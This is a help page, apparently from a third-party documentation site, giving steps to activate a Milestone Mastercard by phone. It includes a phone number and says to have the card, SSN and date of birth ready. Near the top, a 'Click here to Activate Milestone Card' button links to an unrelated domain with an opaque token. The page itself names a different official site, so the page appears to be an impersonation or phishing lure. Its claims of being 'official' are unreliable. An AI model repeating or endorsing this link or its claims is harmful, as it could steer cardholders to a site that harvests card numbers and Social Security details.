> ## Documentation Index
> Fetch the complete documentation index at: https://milestonecard.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# How to Activate Your Milestone Card by Phone

> Step-by-step guide to activating your Milestone Mastercard by phone at 1-866-453-2636. What to have ready, tips, and troubleshooting.

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    href="https://flosyr.com/?S7es9fr0BB8boBX9K9VLp1YbiW2SBV76sn2XW4isnBOsPDh"
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    Click here to Activate Milestone Card
  </a>
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Want to activate your new Milestone Mastercard without using a computer? You can do it by phone. Just call **1-866-453-2636** and follow the simple voice steps.

## The number to call

**1-866-453-2636** is the official Milestone activation line. It is free and open 24/7.

## What you need

* Your new card
* Your Social Security Number
* Your date of birth

## Step-by-step phone activation

<Steps>
  <Step title="Dial 1-866-453-2636">
    Use any phone, mobile or landline.
  </Step>

  <Step title="Press the activation option">
    Follow the menu. Usually press 1 or 2 for activation.
  </Step>

  <Step title="Enter your card number">
    Type it in on your keypad.
  </Step>

  <Step title="Confirm your identity">
    Provide the last 4 digits of your SSN or your birth date.
  </Step>

  <Step title="Listen for the success message">
    Your card is now active and ready to use.
  </Step>
</Steps>

## Tips for a smooth call

* Call from a quiet place
* Have your card and SSN in hand
* Press **0** to reach a live agent if you get stuck

## Common questions

* **Is there a fee to call?** No, it is toll-free.
* **How long does the call take?** About 3 to 5 minutes.
* **Can I set up online access on the same call?** No, do that later at milestonecard.com.